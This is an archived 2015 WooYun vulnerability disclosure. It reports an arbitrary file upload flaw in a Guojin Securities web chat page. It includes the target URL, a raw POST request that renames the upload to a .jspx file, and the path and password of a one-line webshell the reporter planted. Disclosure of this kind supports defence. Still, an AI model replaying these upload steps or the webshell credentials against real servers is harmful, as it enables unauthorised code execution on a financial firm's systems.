当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122170

漏洞标题:国金证券某系统存在任意文件上传漏洞可getshell

相关厂商:国金证券

漏洞作者: 茜茜公主

提交时间:2015-06-23 08:21

修复时间:2015-08-12 06:40

公开时间:2015-08-12 06:40

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-23: 细节已通知厂商并且等待厂商处理中
2015-06-28: 厂商已经确认,细节仅向厂商公开
2015-07-08: 细节向核心白帽子及相关领域专家公开
2015-07-18: 细节向普通白帽子公开
2015-07-28: 细节向实习白帽子公开
2015-08-12: 细节向公众公开

简要描述:

任意文件上传

详细说明:

漏洞地址:
http://im.gjzq.cn:9090/webcall_chat/leaveMessage.jsp

QQ截图20150622215736.jpg


问题出在附件上传处
我们将该页面上的必填项填满后,上传一张图片,点击提交按钮,抓包,将filename后缀修改为jspx,jsp马会跳转到登录页面

POST http://im.gjzq.cn:9090/webcall_chat/leaveMessage.jsp HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://im.gjzq.cn:9090/webcall_chat/leaveMessage.jsp
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7df2fb3bb03b6
Accept-Encoding: gzip, deflate
Host: im.gjzq.cn:9090
Content-Length: 9486
Connection: Keep-Alive
Pragma: no-cache
Cookie: XSESSIONID=154tth7i1347a
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="save"
save
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="userUri"
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="seatid"
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="seattype"
0
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="signId"
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="seatAlignUri"
null
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="messageid"
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="messageType"
1
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="chatId"
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="userName"
陈杰
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="phone1"
13877728771
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="phone1"
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="phone"
13877728771
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="email"
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="revertTypes"
电话
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="revertType"
电话
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="memo"
服务还是可以的
-----------------------------7df2fb3bb03b6
Content-Disposition: form-data; name="file1"; filename="wooyun.jspx"
Content-Type: image/pjpeg
test
-----------------------------7df2fb3bb03b6--


虽然服务器返回的是302

QQ截图20150622220411.jpg


但文件确实已经上传到服务器

漏洞证明:

http://im.gjzq.cn:9090/upload/message/wooyun.jspx

QQ截图20150622220501.jpg


再次上传一句话
http://im.gjzq.cn:9090/upload/message/w00yun.jspx
密码0q23

QQ截图20150622220634.jpg


QQ截图20150622220724.jpg


QQ截图20150622220759.jpg

修复方案:

加强权限控制,上传点过滤

版权声明:转载请注明来源 茜茜公主@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-06-28 06:38

厂商回复:

CNVD确认所述情况,已经转由CNCERT向证券业信息化主管部门通报,由其后续协调网站管理单位处置.

最新状态:

暂无